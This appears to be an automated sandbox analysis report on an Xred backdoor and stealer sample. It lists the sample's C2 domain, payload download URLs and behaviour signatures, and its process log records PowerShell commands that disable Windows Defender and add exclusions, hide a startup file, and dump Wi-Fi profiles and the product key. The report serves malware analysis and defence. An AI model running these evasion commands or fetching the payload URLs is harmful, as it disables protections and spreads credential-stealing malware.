Overview

overview

10

Static

static

1

Mirrored Temp.rar

windows11-21h2-x64

10

Guna.UI2.dll

windows11-21h2-x64

1

Mirrored Temp.exe

windows11-21h2-x64

10

Newtonsoft.Json.dll

windows11-21h2-x64

1

Analysis

  • max time kernel
    444s
  • max time network
    442s
  • platform
    windows11-21h2_x64
  • resource
    win11-20241023-en
  • resource tags

    arch:x64arch:x86image:win11-20241023-enlocale:en-usos:windows11-21h2-x64system
  • submitted
    08/12/2024, 18:06

Sharing

Copy URL Twitter E-mail
Report Analysis Logs

General

  • Target
    Mirrored Temp.rar
  • Size 60.7MB
  • Sample241208-wp32sswlhl
  • SHA256 2a62bb02fdeecca8f59e0ed1f6590d6ca2f09487ff6fb1b06731ca620d7b7d25
  • MD5 SHA1 SHA512 SSDEEP
Score
10/10
xredbackdoorcredential_accessdefense_evasiondiscoveryexecutionpersistenceprivilege_escalationspywarestealerupx

Malware Config

Extracted

Family

  • xred

C2

  • xred.mooo.com

Attributes
  • email

    [email protected]

  • payload_url

    http://freedns.afraid.org/api/?action=getdyndns&sha=a30fa98efc092684e8d1c5cff797bcc613562978

    https://docs.google.com/uc?id=0BxsMXGfPIZfSVlVsOGlEVGxuZVk&export=download

    https://www.dropbox.com/s/n1w4p8gc6jzo0sg/SUpdate.ini?dl=1

    http://xred.site50.net/syn/SUpdate.ini

    https://docs.google.com/uc?id=0BxsMXGfPIZfSVzUyaHFYVkQxeFk&export=download

    https://www.dropbox.com/s/zhp1b06imehwylq/Synaptics.rar?dl=1

    http://xred.site50.net/syn/Synaptics.rar

    https://docs.google.com/uc?id=0BxsMXGfPIZfSTmlVYkxhSDg5TzQ&export=download

    https://www.dropbox.com/s/fzj752whr3ontsm/SSLLibrary.dll?dl=1

    http://xred.site50.net/syn/SSLLibrary.dll

Signatures

  • Xred

    Xred is backdoor written in Delphi.

    backdoorxred
  • Xred family
    xred
  • Command and Scripting Interpreter: PowerShell 1 TTPs 10 IoCs

    Run Powershell to modify Windows Defender settings to add exclusions for file extensions, paths, and processes.

    execution
  • Drops startup file 6 IoCs
  • Executes dropped EXE 12 IoCs
  • Loads dropped DLL 64 IoCs
  • Reads user/profile data of web browsers 3 TTPs

    Infostealers often target stored browser data, which can include saved credentials etc.

    spywarestealer
  • Unsecured Credentials: Credentials In Files 1 TTPs

    Steal credentials from unsecured files.

    credential_accessstealer
  • Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
    spyware
  • Adds Run key to start application 2 TTPs 1 IoCs
    persistence
  • Legitimate hosting services abused for malware hosting/C2 1 TTPs 10 IoCs
  • Looks up external IP address via web service 2 IoCs

    Uses a legitimate IP lookup service to find the infected system's external IP.

  • Hide Artifacts: Hidden Files and Directories 1 TTPs 2 IoCs
    defense_evasion
  • UPX packed file 64 IoCs

    Detects executables packed with UPX/modified UPX open source packer.

    upx
  • Drops file in Windows directory 2 IoCs
  • Browser Information Discovery 1 TTPs

    Enumerate browser information.

    discovery
  • Enumerates physical storage devices 1 TTPs

    Attempts to interact with connected storage/optical drive(s).

  • Event Triggered Execution: Netsh Helper DLL 1 TTPs 6 IoCs

    Netsh.exe (also referred to as Netshell) is a command-line scripting utility used to interact with the network configuration of a system.

    persistenceprivilege_escalation
  • System Location Discovery: System Language Discovery 1 TTPs 6 IoCs

    Attempt gather information about the system language of a victim in order to infer the geographical location of that host.

    discovery
  • System Network Configuration Discovery: Wi-Fi Discovery 1 TTPs 2 IoCs

    Adversaries may search for information about Wi-Fi networks, such as network names and passwords, on compromised systems.

    discovery
  • Checks processor information in registry 2 TTPs 3 IoCs

    Processor information is often read in order to detect sandboxing environments.

  • Detects videocard installed 1 TTPs 2 IoCs

    Uses WMIC.exe to determine videocard installed.

  • Enumerates system info in registry 2 TTPs 18 IoCs
  • Modifies Internet Explorer settings 1 TTPs 3 IoCs
    adwarespyware
  • Modifies data under HKEY_USERS 2 IoCs
  • Modifies registry class 10 IoCs
  • Suspicious behavior: AddClipboardFormatListener 1 IoCs
  • Suspicious behavior: EnumeratesProcesses 47 IoCs
  • Suspicious behavior: GetForegroundWindowSpam 1 IoCs
  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary 13 IoCs
  • Suspicious use of AdjustPrivilegeToken 64 IoCs
  • Suspicious use of FindShellTrayWindow 57 IoCs
  • Suspicious use of SendNotifyMessage 24 IoCs
  • Suspicious use of SetWindowsHookEx 9 IoCs
  • Suspicious use of WriteProcessMemory 64 IoCs
  • Views/modifies file attributes 1 TTPs 2 IoCs
    evasion

Processes

  • C:\Program Files\7-Zip\7zFM.exe
    "C:\Program Files\7-Zip\7zFM.exe" "C:\Users\Admin\AppData\Local\Temp\Mirrored Temp.rar"
    1⤵
    • Suspicious behavior: EnumeratesProcesses
    • Suspicious behavior: GetForegroundWindowSpam
    • Suspicious use of AdjustPrivilegeToken
    • Suspicious use of FindShellTrayWindow
    • Suspicious use of WriteProcessMemory
    PID:3420
    • C:\Users\Admin\AppData\Local\Temp\7zOC5D35F78\Mirrored Temp.exe
      "C:\Users\Admin\AppData\Local\Temp\7zOC5D35F78\Mirrored Temp.exe"
      2⤵
      • Executes dropped EXE
      • Suspicious use of WriteProcessMemory
      PID:1136
      • C:\Users\Admin\AppData\Local\Temp\7zOC5D35F78\Mirrored Temp.exe
        "C:\Users\Admin\AppData\Local\Temp\7zOC5D35F78\Mirrored Temp.exe"
        3⤵
        • Drops startup file
        • Executes dropped EXE
        • Loads dropped DLL
        • Modifies registry class
        • Suspicious behavior: EnumeratesProcesses
        • Suspicious use of AdjustPrivilegeToken
        PID:1192
        • C:\Windows\system32\cmd.exe
          C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'"
          4⤵
            PID:4108
            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
              powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'
              5⤵
              • Command and Scripting Interpreter: PowerShell
              • Suspicious behavior: EnumeratesProcesses
              • Suspicious use of AdjustPrivilegeToken
              PID:4324
          • C:\Windows\system32\cmd.exe
            C:\Windows\system32\cmd.exe /c "start bound.exe"
            4⤵
              PID:3076
              • C:\Users\Admin\AppData\Local\Temp\bound.exe
                bound.exe
                5⤵
                • Executes dropped EXE
                • Adds Run key to start application
                • System Location Discovery: System Language Discovery
                • Modifies registry class
                PID:4560
                • C:\Users\Admin\AppData\Local\Temp\._cache_bound.exe
                  "C:\Users\Admin\AppData\Local\Temp\._cache_bound.exe"
                  6⤵
                  • Executes dropped EXE
                  • Loads dropped DLL
                  • System Location Discovery: System Language Discovery
                  • Enumerates system info in registry
                  • Modifies Internet Explorer settings
                  • Suspicious use of AdjustPrivilegeToken
                  PID:4700
                • C:\ProgramData\Synaptics\Synaptics.exe
                  "C:\ProgramData\Synaptics\Synaptics.exe" InjUpdate
                  6⤵
                  • Executes dropped EXE
                  • System Location Discovery: System Language Discovery
                  • Modifies registry class
                  PID:3860
                  • C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe
                    "C:\Users\Admin\AppData\Local\Temp\._cache_Synaptics.exe" InjUpdate
                    7⤵
                    • Executes dropped EXE
                    • Loads dropped DLL
                    • System Location Discovery: System Language Discovery
                    • Enumerates system info in registry
                    • Modifies Internet Explorer settings
                    • Suspicious use of AdjustPrivilegeToken
                    PID:888
            • C:\Windows\system32\cmd.exe
              C:\Windows\system32\cmd.exe /c "powershell.exe Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2"
              4⤵
                PID:1432
                • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                  powershell.exe Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
                  5⤵
                  • Command and Scripting Interpreter: PowerShell
                  • Suspicious behavior: EnumeratesProcesses
                  • Suspicious use of AdjustPrivilegeToken
                  PID:684
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\‎    .scr"
                4⤵
                • Hide Artifacts: Hidden Files and Directories
                PID:4836
                • C:\Windows\system32\attrib.exe
                  attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\‎    .scr"
                  5⤵
                  • Drops startup file
                  • Views/modifies file attributes
                  PID:3036
              • C:\Windows\system32\cmd.exe
                C:\Windows\system32\cmd.exe /c "powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath %USERPROFILE%\AppData" & powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath %USERPROFILE%\Local" & powershell.exe -command "Set-MpPreference -ExclusionExtension '.exe','.py'""
                4⤵
                  PID:2844
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath C:\Users\Admin\AppData"
                    5⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:940
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath C:\Users\Admin\Local"
                    5⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:332
                  • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                    powershell.exe -command "Set-MpPreference -ExclusionExtension '.exe','.py'"
                    5⤵
                    • Command and Scripting Interpreter: PowerShell
                    • Suspicious behavior: EnumeratesProcesses
                    • Suspicious use of AdjustPrivilegeToken
                    PID:3340
                • C:\Windows\SYSTEM32\netsh.exe
                  netsh wlan show profiles
                  4⤵
                  • Event Triggered Execution: Netsh Helper DLL
                  • System Network Configuration Discovery: Wi-Fi Discovery
                  PID:2032
                • C:\Windows\system32\cmd.exe
                  C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                  4⤵
                    PID:868
                    • C:\Windows\System32\Wbem\WMIC.exe
                      wmic os get Caption
                      5⤵
                      • Suspicious use of AdjustPrivilegeToken
                      PID:2808
                  • C:\Windows\System32\Wbem\wmic.exe
                    wmic cpu get Name
                    4⤵
                    • Suspicious use of AdjustPrivilegeToken
                    PID:4808
                  • C:\Windows\system32\cmd.exe
                    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                    4⤵
                      PID:420
                      • C:\Windows\System32\Wbem\WMIC.exe
                        wmic path win32_VideoController get name
                        5⤵
                        • Detects videocard installed
                        PID:1360
                    • C:\Windows\system32\cmd.exe
                      C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                      4⤵
                        PID:2624
                        • C:\Windows\System32\Wbem\WMIC.exe
                          wmic computersystem get totalphysicalmemory
                          5⤵
                            PID:2420
                        • C:\Windows\system32\cmd.exe
                          C:\Windows\system32\cmd.exe /c "C:\\Windows\\System32\\wbem\\WMIC.exe csproduct get uuid"
                          4⤵
                            PID:4592
                            • C:\Windows\System32\wbem\WMIC.exe
                              C:\\Windows\\System32\\wbem\\WMIC.exe csproduct get uuid
                              5⤵
                                PID:2304
                            • C:\Windows\system32\cmd.exe
                              C:\Windows\system32\cmd.exe /c "wmic path softwarelicensingservice get OA3xOriginalProductKey"
                              4⤵
                                PID:4560
                                • C:\Windows\System32\Wbem\WMIC.exe
                                  wmic path softwarelicensingservice get OA3xOriginalProductKey
                                  5⤵
                                    PID:3084
                                • C:\Windows\system32\cmd.exe
                                  C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
                                  4⤵
                                    PID:1492
                                    • C:\Windows\System32\Wbem\WMIC.exe
                                      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
                                      5⤵
                                        PID:1260
                                • C:\Users\Admin\AppData\Local\Temp\7zOC5D1396B\Mirrored Temp.exe
                                  "C:\Users\Admin\AppData\Local\Temp\7zOC5D1396B\Mirrored Temp.exe"
                                  2⤵
                                  • Executes dropped EXE
                                  PID:5976
                                  • C:\Users\Admin\AppData\Local\Temp\7zOC5D1396B\Mirrored Temp.exe
                                    "C:\Users\Admin\AppData\Local\Temp\7zOC5D1396B\Mirrored Temp.exe"
                                    3⤵
                                    • Drops startup file
                                    • Executes dropped EXE
                                    • Loads dropped DLL
                                    • Modifies registry class
                                    • Suspicious behavior: EnumeratesProcesses
                                    PID:1216
                                    • C:\Windows\system32\cmd.exe
                                      C:\Windows\system32\cmd.exe /c "powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'"
                                      4⤵
                                        PID:5292
                                        • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                          powershell -Command Add-MpPreference -ExclusionPath 'C:\Users\Admin\AppData\Local\Temp\bound.exe'
                                          5⤵
                                          • Command and Scripting Interpreter: PowerShell
                                          • Suspicious behavior: EnumeratesProcesses
                                          PID:3280
                                      • C:\Windows\system32\cmd.exe
                                        C:\Windows\system32\cmd.exe /c "start bound.exe"
                                        4⤵
                                          PID:5972
                                          • C:\Users\Admin\AppData\Local\Temp\bound.exe
                                            bound.exe
                                            5⤵
                                            • Executes dropped EXE
                                            • System Location Discovery: System Language Discovery
                                            • Modifies registry class
                                            PID:5932
                                            • C:\Users\Admin\AppData\Local\Temp\._cache_bound.exe
                                              "C:\Users\Admin\AppData\Local\Temp\._cache_bound.exe"
                                              6⤵
                                              • Executes dropped EXE
                                              • System Location Discovery: System Language Discovery
                                              • Enumerates system info in registry
                                              • Modifies Internet Explorer settings
                                              PID:5200
                                        • C:\Windows\system32\cmd.exe
                                          C:\Windows\system32\cmd.exe /c "powershell.exe Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend && powershell Set-MpPreference -SubmitSamplesConsent 2"
                                          4⤵
                                            PID:5712
                                            • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                              powershell.exe Set-MpPreference -DisableIntrusionPreventionSystem $true -DisableIOAVProtection $true -DisableRealtimeMonitoring $true -DisableScriptScanning $true -EnableControlledFolderAccess Disabled -EnableNetworkProtection AuditMode -Force -MAPSReporting Disabled -SubmitSamplesConsent NeverSend
                                              5⤵
                                              • Command and Scripting Interpreter: PowerShell
                                              • Suspicious behavior: EnumeratesProcesses
                                              PID:5456
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /c attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\  ‎  .scr"
                                            4⤵
                                            • Hide Artifacts: Hidden Files and Directories
                                            PID:5280
                                            • C:\Windows\system32\attrib.exe
                                              attrib +h +s "C:\Users\Admin\AppData\Roaming\Microsoft\Windows\Start Menu\Programs\Startup\  ‎  .scr"
                                              5⤵
                                              • Drops startup file
                                              • Views/modifies file attributes
                                              PID:5912
                                          • C:\Windows\system32\cmd.exe
                                            C:\Windows\system32\cmd.exe /c "powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath %USERPROFILE%\AppData" & powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath %USERPROFILE%\Local" & powershell.exe -command "Set-MpPreference -ExclusionExtension '.exe','.py'""
                                            4⤵
                                              PID:2024
                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath C:\Users\Admin\AppData"
                                                5⤵
                                                • Command and Scripting Interpreter: PowerShell
                                                • Suspicious behavior: EnumeratesProcesses
                                                PID:1436
                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                powershell.exe -inputformat none -outputformat none -NonInteractive -Command "Add-MpPreference -ExclusionPath C:\Users\Admin\Local"
                                                5⤵
                                                • Command and Scripting Interpreter: PowerShell
                                                • Suspicious behavior: EnumeratesProcesses
                                                PID:564
                                              • C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe
                                                powershell.exe -command "Set-MpPreference -ExclusionExtension '.exe','.py'"
                                                5⤵
                                                • Command and Scripting Interpreter: PowerShell
                                                • Suspicious behavior: EnumeratesProcesses
                                                PID:5480
                                            • C:\Windows\SYSTEM32\netsh.exe
                                              netsh wlan show profiles
                                              4⤵
                                              • Event Triggered Execution: Netsh Helper DLL
                                              • System Network Configuration Discovery: Wi-Fi Discovery
                                              PID:1644
                                            • C:\Windows\system32\cmd.exe
                                              C:\Windows\system32\cmd.exe /c "wmic os get Caption"
                                              4⤵
                                                PID:6032
                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                  wmic os get Caption
                                                  5⤵
                                                    PID:1596
                                                • C:\Windows\System32\Wbem\wmic.exe
                                                  wmic cpu get Name
                                                  4⤵
                                                    PID:5772
                                                  • C:\Windows\system32\cmd.exe
                                                    C:\Windows\system32\cmd.exe /c "wmic path win32_VideoController get name"
                                                    4⤵
                                                      PID:5740
                                                      • C:\Windows\System32\Wbem\WMIC.exe
                                                        wmic path win32_VideoController get name
                                                        5⤵
                                                        • Detects videocard installed
                                                        PID:3592
                                                    • C:\Windows\system32\cmd.exe
                                                      C:\Windows\system32\cmd.exe /c "wmic computersystem get totalphysicalmemory"
                                                      4⤵
                                                        PID:3816
                                                        • C:\Windows\System32\Wbem\WMIC.exe
                                                          wmic computersystem get totalphysicalmemory
                                                          5⤵
                                                            PID:5768
                                                        • C:\Windows\system32\cmd.exe
                                                          C:\Windows\system32\cmd.exe /c "C:\\Windows\\System32\\wbem\\WMIC.exe csproduct get uuid"
                                                          4⤵
                                                            PID:1028
                                                            • C:\Windows\System32\wbem\WMIC.exe
                                                              C:\\Windows\\System32\\wbem\\WMIC.exe csproduct get uuid
                                                              5⤵
                                                                PID:5556
                                                            • C:\Windows\system32\cmd.exe
                                                              C:\Windows\system32\cmd.exe /c "wmic path softwarelicensingservice get OA3xOriginalProductKey"
                                                              4⤵
                                                                PID:6040
                                                                • C:\Windows\System32\Wbem\WMIC.exe
                                                                  wmic path softwarelicensingservice get OA3xOriginalProductKey
                                                                  5⤵
                                                                    PID:1404
                                                                • C:\Windows\system32\cmd.exe
                                                                  C:\Windows\system32\cmd.exe /c "WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName"
                                                                  4⤵
                                                                    PID:1524
                                                                    • C:\Windows\System32\Wbem\WMIC.exe
                                                                      WMIC /Node:localhost /Namespace:\\root\SecurityCenter2 Path AntivirusProduct Get displayName
                                                                      5⤵
                                                                        PID:1088
                                                                • C:\Users\Admin\AppData\Local\Temp\7zOC5DDAF8B\Mirrored Temp.exe
                                                                  "C:\Users\Admin\AppData\Local\Temp\7zOC5DDAF8B\Mirrored Temp.exe"
                                                                  2⤵
                                                                  • Executes dropped EXE
                                                                  PID:5988
                                                                  • C:\Users\Admin\AppData\Local\Temp\7zOC5DDAF8B\Mirrored Temp.exe
                                                                    "C:\Users\Admin\AppData\Local\Temp\7zOC5DDAF8B\Mirrored Temp.exe"
                                                                    3⤵
                                                                    • Executes dropped EXE
                                                                    PID:3480
                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                                1⤵
                                                                • Drops file in Windows directory
                                                                • Enumerates system info in registry
                                                                • Suspicious behavior: EnumeratesProcesses
                                                                • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                                                • Suspicious use of AdjustPrivilegeToken
                                                                • Suspicious use of FindShellTrayWindow
                                                                • Suspicious use of SendNotifyMessage
                                                                • Suspicious use of WriteProcessMemory
                                                                PID:1976
                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0xfc,0x100,0x104,0x80,0x108,0x7ff84254cc40,0x7ff84254cc4c,0x7ff84254cc58
                                                                  2⤵
                                                                    PID:4156
                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1772,i,17578700407708315117,11770452647606615,262144 --variations-seed-version=20241022-180310.361000 --mojo-platform-channel-handle=1768 /prefetch:2
                                                                    2⤵
                                                                      PID:4824
                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=2040,i,17578700407708315117,11770452647606615,262144 --variations-seed-version=20241022-180310.361000 --mojo-platform-channel-handle=2112 /prefetch:3
                                                                      2⤵
                                                                        PID:2860
                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2140,i,17578700407708315117,11770452647606615,262144 --variations-seed-version=20241022-180310.361000 --mojo-platform-channel-handle=2188 /prefetch:8
                                                                        2⤵
                                                                          PID:3884
                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3080,i,17578700407708315117,11770452647606615,262144 --variations-seed-version=20241022-180310.361000 --mojo-platform-channel-handle=3136 /prefetch:1
                                                                          2⤵
                                                                            PID:1648
                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3100,i,17578700407708315117,11770452647606615,262144 --variations-seed-version=20241022-180310.361000 --mojo-platform-channel-handle=3292 /prefetch:1
                                                                            2⤵
                                                                              PID:3464
                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4424,i,17578700407708315117,11770452647606615,262144 --variations-seed-version=20241022-180310.361000 --mojo-platform-channel-handle=4376 /prefetch:1
                                                                              2⤵
                                                                                PID:1436
                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=8 --field-trial-handle=4600,i,17578700407708315117,11770452647606615,262144 --variations-seed-version=20241022-180310.361000 --mojo-platform-channel-handle=4320 /prefetch:1
                                                                                2⤵
                                                                                  PID:2744
                                                                              • C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe
                                                                                "C:\Program Files\Google\Chrome\Application\123.0.6312.123\elevation_service.exe"
                                                                                1⤵
                                                                                  PID:3832
                                                                                • C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE
                                                                                  "C:\Program Files\Microsoft Office\Root\Office16\EXCEL.EXE" /automation -Embedding
                                                                                  1⤵
                                                                                  • Checks processor information in registry
                                                                                  • Enumerates system info in registry
                                                                                  • Suspicious behavior: AddClipboardFormatListener
                                                                                  • Suspicious use of SetWindowsHookEx
                                                                                  PID:4752
                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                  "C:\Program Files\Google\Chrome\Application\chrome.exe"
                                                                                  1⤵
                                                                                  • Drops file in Windows directory
                                                                                  • Enumerates system info in registry
                                                                                  • Modifies data under HKEY_USERS
                                                                                  • Suspicious behavior: EnumeratesProcesses
                                                                                  • Suspicious behavior: NtCreateUserProcessBlockNonMicrosoftBinary
                                                                                  • Suspicious use of AdjustPrivilegeToken
                                                                                  • Suspicious use of FindShellTrayWindow
                                                                                  • Suspicious use of SendNotifyMessage
                                                                                  PID:2712
                                                                                  • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                    "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=crashpad-handler "--user-data-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" /prefetch:4 --monitor-self-annotation=ptype=crashpad-handler "--database=C:\Users\Admin\AppData\Local\Google\Chrome\User Data\Crashpad" "--metrics-dir=C:\Users\Admin\AppData\Local\Google\Chrome\User Data" --url=https://clients2.google.com/cr/report --annotation=channel= --annotation=plat=Win64 --annotation=prod=Chrome --annotation=ver=123.0.6312.123 --initial-client-data=0x108,0x10c,0x110,0xe4,0x114,0x7ff8333acc40,0x7ff8333acc4c,0x7ff8333acc58
                                                                                    2⤵
                                                                                      PID:4276
                                                                                    • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                      "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=gpu-process --no-appcompat-clear --gpu-preferences=WAAAAAAAAADgAAAMAAAAAAAAAAAAAAAAAABgAAEAAAA4AAAAAAAAAAAAAAAEAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAAGAAAAAAAAAAYAAAAAAAAAAgAAAAAAAAACAAAAAAAAAAIAAAAAAAAAA== --field-trial-handle=1948,i,14599813896664468801,12102821126563601203,262144 --variations-seed-version=20241022-180310.361000 --mojo-platform-channel-handle=1936 /prefetch:2
                                                                                      2⤵
                                                                                        PID:3120
                                                                                      • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                        "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --no-appcompat-clear --field-trial-handle=1736,i,14599813896664468801,12102821126563601203,262144 --variations-seed-version=20241022-180310.361000 --mojo-platform-channel-handle=2112 /prefetch:3
                                                                                        2⤵
                                                                                          PID:3036
                                                                                        • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                          "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=utility --utility-sub-type=storage.mojom.StorageService --lang=en-US --service-sandbox-type=service --no-appcompat-clear --field-trial-handle=2000,i,14599813896664468801,12102821126563601203,262144 --variations-seed-version=20241022-180310.361000 --mojo-platform-channel-handle=2176 /prefetch:8
                                                                                          2⤵
                                                                                            PID:756
                                                                                          • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                            "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=6 --field-trial-handle=3100,i,14599813896664468801,12102821126563601203,262144 --variations-seed-version=20241022-180310.361000 --mojo-platform-channel-handle=3112 /prefetch:1
                                                                                            2⤵
                                                                                              PID:4500
                                                                                            • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                              "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=5 --field-trial-handle=3120,i,14599813896664468801,12102821126563601203,262144 --variations-seed-version=20241022-180310.361000 --mojo-platform-channel-handle=3160 /prefetch:1
                                                                                              2⤵
                                                                                                PID:3268
                                                                                              • C:\Program Files\Google\Chrome\Application\chrome.exe
                                                                                                "C:\Program Files\Google\Chrome\Application\chrome.exe" --type=renderer --no-appcompat-clear --lang=en-US --device-scale-factor=1 --num-raster-threads=4 --enable-main-frame-before-activation --renderer-client-id=7 --field-trial-handle=4416,i,14599813896664468801,12102821126563601203,262144 --variations-seed-version=20241022-180310.361000 --mojo-platform-channel-handle=4444 /prefetch:1
                                                                                                2⤵
                                                                                                  PID:2088
                                                                                                • C:\Program Files\Google\Chrome\Application\chrome.exe
